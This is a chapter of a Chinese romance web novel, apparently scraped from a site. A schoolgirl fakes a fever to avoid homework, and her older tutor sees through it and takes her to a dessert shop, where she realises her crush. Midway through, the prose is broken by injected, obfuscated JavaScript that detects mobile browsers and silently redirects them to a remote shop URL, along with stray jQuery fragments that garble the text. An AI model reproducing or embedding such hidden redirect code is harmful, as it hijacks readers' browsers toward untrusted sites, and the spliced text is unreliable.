周礼离开时,是晚上八点半左右。
起身前,他看了眼落地窗外沉下来的天色,若有所思了会儿,续而转头看向身旁的小朋友。
“晚上自己可以么?”他屈指轻叩了下桌角,“需不需要我留下来陪你?”
鹿时圆从卷子里抬起脑袋,茫然眨了眨眼。
等将男人的话消化了,她莫名有些耳热和兴奋,很想答应让他留下来。
不过刚冒出头就被她摁了下去。
自己又不是小孩子,哪里还需要人陪着过夜,而且她也不想让周礼觉得自己是个还需要有人照看的小孩。
“不用了哥哥,我自己可以的。”
而且鹿女士经常出差,她早就习惯了一个人过夜。
小时候怕黑,会跑到楼下邻居云溪月家借宿,后来次数多了,她也就习惯了。
周礼观察着小朋友,见她眉眼明媚神情也放松,没有半分勉强,便支着下巴笑起来,“我们圈圈这么厉害啊。”
鹿时圆被他说得脸热,“我都多大啦。”
走之前周礼不放心地在小姑娘手机里保存了自己的号码,叮嘱道:“晚上有事情记得给哥哥打电话,还记得我家门牌号么?”
鹿时圆想了想,乖巧答:“西江月18墅。”
周礼称赞地揉了揉小姑娘的脑袋,又检查了一遍门窗,才放心离开。
目送周礼的身影消失在玄关,鹿时圆揉了揉眼眶,深知自己的任务重,也没松懈,脑袋重新闷在卷子里。
只用一天时间,鹿时圆都觉得不可思议,她效率惊人地搞懂了一整套数学试卷,除了物理剩下的科目都是不太吃力的了。
将试卷整理好,她不由得眉眼弯弯很是骄傲,欢喜地期待着明天见到周礼,将试卷亲手交给他。
这样他搞懂一定会进步的。
心里规划的很清楚,可真正到了第二天,鹿时圆躺在床上玩了会手机,窝在空调屋里却犯了懒。
她生出懈怠,没那么想做试卷了。
一犯懒她就开始为自己找补:自己已经将一整套试卷写完了,周礼看完搞懂也会花上很长一段时间,而且她间接地也完成了妈妈布置的任务。
那么今天就可以不用太努力,她完完全全可以在家或者出去玩。
可她刚在周礼面前树立了一个好形象,并不想让他失望。
鹿时圆苦恼地在床上滚了滚,纠结得不行。
脑袋里开始搜刮歪主意。
突然间灵光一现。
她慢慢停下动作,摊在床上。
有一个两全其美的办法,既能让周礼陪着,又能暂时不用写卷子。
装病。
鹿时圆摇头叹气,窃喜感叹自己果然聪明。
便不再犹豫,掀开被子下楼,从医药箱里翻出水银体温计,接了杯热水,迅速爬上了楼。
头一次干这种事,鹿时圆有点心虚,头疼地挠了挠头,纠结给体温计上什么度数。
高了怕周礼搞不好带她去医院,这样不就穿帮了;
低了又怕周礼不重视,虽然他不重视的可能性很低。
想了想,她最终将度数确认在了三十七度五。
不知道昨天周礼具体是什么时候过来的,所以今天他来的时间也不好判断。
但鹿时圆还是做好了万全的准备,关上了空调,裹着被子将自己包成了一团。
等脑门上闷出一层薄薄的汗,她正想踢掉被子喘口气时,楼下玄关终于传来了开门声。
她窝在床上乖乖等了两分钟,楼梯却始终没有脚步声。
怕周礼又像昨天一样在楼下等她下去,鹿时圆卷着被子攥着体温计,费力地到台阶上坐下。
努力装出一副虚弱的样子,才敢蔫蔫地喊人。
周礼正在翻看昨天她写完的试卷,意外听见小朋友的呼喊,还有些意外。
今天小朋友醒得挺早。
他跨步走向楼梯,刚到拐角,就见小姑娘卷着被子“有气无力”地坐在最顶处的台阶上。
没等他开口,鹿时圆先吸了吸鼻子,“哥哥对不起,我发烧了,今天没办法写试卷了,但是你放心,临到快开学我一定会写完的。”
他不动声色打量过去。
小姑娘半掩在被子里的脸蛋泛着热红的粉嫩。
睫毛垂着,心虚地不敢看他。
又想到宋时珩嘱托的话,“你别心软,她戏最多,不想做的事能有各种法子应付你。”
周礼眸中无奈弯出点笑意。
长腿迈上几级台阶,顿在小姑娘下方,周礼微微弯下腰,视线压低了看她。
“这样啊,”他拖长语调佯装失落道,“那太不巧了,今天哥哥打算带你出去玩,既然这样,我们只好去医院了。”
鹿时圆本来就很心虚,谁知周礼今天没打算让自己写卷子。
她愕然,生怕周礼带她去医院,慌忙把手背后藏起来温度计。
“我我现在没事了,”将身上的被子挣脱掉蓦地站起身,她手背贴了贴脑袋,着急说,“也就是昨天晚上有点低烧的,现在我温度很正常的,不信你摸摸。”
将小姑娘忙里忙慌的模样收尽眸中,周礼眼底的笑意愈发明显,但面上仍是一副关切的神情。
他顺从地伸出手,贴在了鹿时圆的额头上。
“确实不烫了。”
周礼收回手,故意在“烫”字上压了压音调,注视着小姑娘僵硬了一瞬又隐含着紧张的眸子,他眼底笑意更浓,才慢悠悠将下面的话说出来,“那哥哥能放心地带你出去玩了。”
鹿时圆紧提的一颗心慢慢落了下来,瞬间大松了一口气。
周礼过来时拿了一个托特包,鹿时圆以为他装了笔记本电脑,结果拉链拉开,里面只有一些纸巾湿巾之类的必需品。
正纳闷,头顶突然落下来轻轻的力道,她下意识仰起了脑袋。
男人掌心正落在她的脑袋上,俯身说话间带着点哄小孩的温软尾音,“水杯外套什么的装包里好不好?”
鹿时圆听话地把水杯外套塞进包里,有些耳热.
又乖乖伸出双手,让周礼挤了一泵防晒乳在手心。
边涂防晒,鹿时圆看周礼将书包装鼓,随即他手腕一转,把她写完的数学试卷也装进包里。
鹿时圆呆愣愣愕然。
周礼既然带试卷,那她是不是也要带试卷?
小姑娘的情绪都表现在脸上,犹豫看他两眼,她十分抗拒地盯着自己没写完的试卷,脑子里应该经历了一场拉锯,最终还是不情不愿将卷子塞进包里。
周礼今天确实是真打算带小朋友出去,可现在的天气室外运动怎么看都会中暑,只能转到室内,室内的话也能让小朋友稍微写点试卷,这样以后也能轻松了点。
他忍俊不禁,揉了揉小姑娘的脑袋,“出发?”
刚刚还蔫吧吧的小姑娘情绪瞬间转晴,重重点了点脑袋,“出发。”
出了门,鹿时圆故意落后周礼两步,自己也说不清为什么,举起手机飞快拍了张周礼的背影。
看着手机里的照片她有点慌神,又觉得烫手,为了缓解心虚,她便把这张照片发在了QQ空间上。
趁周礼取车的间隙,她站在遮阳的树下编辑QQ空间文案。
【他的背包(试卷)】
点击发送。
刚发送没一会儿,已经八九个点赞了。
闺蜜云溪月第一个评论:他?他是谁?是你哥哥吗?
蜷在周礼车上副驾驶的鹿时圆蹭了蹭脸颊,想了想:宋时珩的朋友,算是哥哥吧。
吃完饭,已经待在甜品店好久的鹿时圆万万没想到,周礼说的带她出去玩,目的地就是这儿。
虽然装修小清新,甜品也好吃,但鹿时圆小脸恹恹地趴在云朵造型的桌面上,像窗外被烈日炙烤得有气无力嘶叫的夏蝉一样,很是泄力。
周礼自然看得出来,可带小朋友写作业本来就是一件头疼的事,他只能想方设法地哄骗着。
指尖触了触小姑娘软软的脸颊,他带着商量地温和说:“哥哥觉得一定要今日事今日毕,所以今天你陪着哥哥看几页试卷,今天下午和明天哥哥听你安排好不好?”
尽管有些小失落,鹿时圆还是手心柱起了脸蛋,无精打采地拿起了笔缓慢点了点脑袋。
周礼见状轻轻一笑揉了揉小姑娘的脑袋,给小朋友点了冷饮冰淇淋,尽量让她开心一点。
吸了口冷饮,鹿时圆强迫自己振奋起精神。
这股劲没维持一会儿,鹿时圆又蔫巴巴起来,整个人软绵绵地陷进了沙发里。
昨天卷子写的太多了,鹿时圆现在感觉自己已经被抽干了魂。
她杏眸漫无目的地看看拍照打卡的客人,又瞅瞅透明窗外的行人,最终还是被周礼吸引了注意力。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915436|213305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>阳光被树叶筛落成无数的光斑,在他周身明明灭灭地跃动,含糊地勾勒出他棱角分明的侧脸线条。
他眼睑淡淡垂落,视线放在试卷上,偶尔拿笔圈勾着。
时光落在他身上都变得慢悠悠了,又格外温柔。
鹿时圆一时忘记了呼吸,静静趴在桌面上。
蝉鸣渐渐消失,连人声都变得模糊。
世界静的好像只剩自己的心跳声。
鹿时圆抿抿唇瓣,突然有些慌张了,一时之间不知道要干什么,只好仗着周礼在看卷子,她欲盖弥彰地拿起他放在桌面上的手机。
她脑袋发白,不知道要干什么,只好随意点开相机。
拍窗外拍周礼,最后将镜头对准自己又胡乱一通拍。
又突然停了下来,鹿时圆心虚地侧过身,挪远了点,由着红晕爬上脸颊。
将镜头对准自己,露出大半张脸,她手指有些颤抖地调整手机角度。
等镜头框进周礼的身形,鹿时圆手指弯曲,在脸颊前面比了半颗心,能正好将他一半脸圈进画面中央。
鹿时圆迅速摁下快门,将那一瞬间定格。
照片拍完后好久鹿时圆还一阵发蒙,唯有兵荒马乱的心跳声告诉了她刚刚自己做了什么大胆的事。
又恍然懂得了藏在内心里只有自己知道的少女心事。
她好像,是喜欢上周礼了。
鹿时圆突然脸颊发烫羞涩,不禁想这张照片要是周礼没删除,那就算是他们的第一张合照。
藏在周礼手机里,她将少女心事不那么光明地表达出来的。
只关于他们两人的合照。
是少女第一次萌发的爱意,幼稚又大胆地,向世界探出了头。
心虚地玩完了周礼的手机,鹿时圆缓了缓慌张的情绪,后怕的疲惫劲上来,于是没忍住靠进沙发里闭上了眼睛,可慢慢地,困意突如其来。
周礼再次抬头时,小姑娘仰着脑袋陷进沙发里,已经睡得昏天黑地了。
男人微愣了下,随即清俊的眉眼无奈地弯出点笑意,摇摇头,起身找店员要了块毛毯。
把小姑娘送回家后,周礼又驱车去了趟公司,归家时夜色已深。
月光稀薄如纱,艰难地穿透云层,洒落在大理石铺就地板上,又被黑暗吞噬的所剩无几。
偌大房子里安静的只能听见他的脚步声,周礼没开灯,借着月色习以为常的换鞋进了屋。
走到茶几旁,他拿了桌面的遥控器将电视打开,一时之间空寂的客厅被电视机里的声音覆盖,他神色浅浅。
第一时间冲完了澡,他简单裹着浴袍,顺手捞起一条干毛巾,一边随意地擦拭着湿漉漉的头发,一边走向沙发。
恰在这时,桌子上的手机突兀地响了起来。
周礼拿起手机按下接听键,宋时珩懒散的声音从电话那头传了过来,“小崽子作业完成的怎么样?”
周礼随意靠在沙发扶手,“昨天骗着写完了一套试卷,今天小姑娘兴致很蔫。”
宋时珩不可思议,“可以啊,小崽子拖延症这么重,一套试卷,要是让我监督,没有鹿女士每天检查的话,她别说一页,一题也不会写。”
周礼无奈地笑了下,“哄着骗着呢。”
宋时珩又犹豫了会儿,才问:“你呢,好不好?”
周礼仰头看了眼天花板上的白炽灯,与淋浴间截然的强度刺得他眯起了双眸。
他抬起手臂用手背挡了挡光,缓了会儿,才轻笑一声,“有小朋友在呢,真没事。”
两人又简单聊了几句宋时珩挂了电话。
房间里再次归于寂静,空得只有空调轻微的嗡鸣声。
周礼看着天花板发了会愣,又突然想到什么,他指尖点开了相册。
今天鹿时圆拿他手机拍照,他不是没发现,只是小姑娘好不容易提起来的兴致他也没忍心打扰。
指尖点开照片,先入目的就是小姑娘心虚拍的两人的合照。
小朋友粉团子似的脸蛋面对镜头羞涩地笑着,还不忘伸手在脸颊处比了个心。
头顶一撮呆毛炸起来,透露几分紧张心虚。
周礼看着照片,眼底晕开笑意,不自觉轻笑出声。
小朋友似乎并没有发现,拍这张照片时他恰巧抬了头。
望向镜头里的小姑娘。
眼神里藏着他自己都未曾察觉到的温柔。